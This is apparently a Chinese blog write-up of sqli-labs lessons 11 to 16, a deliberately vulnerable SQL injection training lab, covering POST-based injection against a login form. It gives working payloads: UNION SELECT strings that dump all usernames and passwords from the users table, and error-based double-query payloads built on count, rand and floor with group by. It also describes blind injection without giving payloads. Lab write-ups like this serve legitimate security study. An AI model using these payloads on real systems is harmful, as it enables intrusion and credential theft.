美文网首页
sqli-labs Less-11-16

sqli-labs Less-11-16

作者: jun123123 | 来源:发表于2019-10-14 17:09 被阅读0次
  • Less-11
    从这题开始,数据提交方式变成post
    首先burp抓个包看看字段名


    Less-11-1.png

    发现字段名uname和passwd,设置uname字段名为0',发现报错


    Less-11-2.png
    单字符型注入,剩下和Less-1一样,通过order by语句查询出查询结果有两列,构造payload:
uname=0' union select group_concat(username),group_concat(password) from users#&passwd=&submit=Submit
Less-11-3.png

注入成功

  • Less-12
    判断注入类型,为双字符注入,并且有一个括号:


    Less-12-1.png

    将上面payload中单引号改为")即可:

uname=0") union select group_concat(username),group_concat(password) from users#&passwd=&submit=Submit
Less-12-2.png

注入成功

  • Less-13
    判断注入类型,单字符注入,并有一个括号


    Less-13-1.png

    提交参数后无回显,只有登录成功,登录失败和mysql报错
    考虑盲注(Less-8/9)和双查询注入(Less-5)
    盲注太麻烦,所以尝试双查询注入
    构造payload:

uname=0') union select count(*),concat((select password from users limit 1,1),floor(rand()*2))a from users group by a#&passwd=&submit=Submit
Less-13-2.png

注入成功

  • Less-14
    同样先判断注入类型,双字符注入,无回显
    同Less-13双查询注入,构造payload:
uname=1" union select count(*),concat((select password from users limit 1,1),floor(rand()*2))a from users group by a#&submit=Submit&passwd=0
Less-14-1.png

注入成功

  • Less-15/16
    布尔/时间盲注
    和Less-8/9一样只是提交方式换成post了
    Less-15注入类型是单引号
    Less-16注入类型是双引号,并有一个括号
    多试几次就出来了
    不贴图了(懒

相关文章

网友评论

      本文标题:sqli-labs Less-11-16

      本文链接:https://www.haomeiwen.com/subject/ndkrmctx.html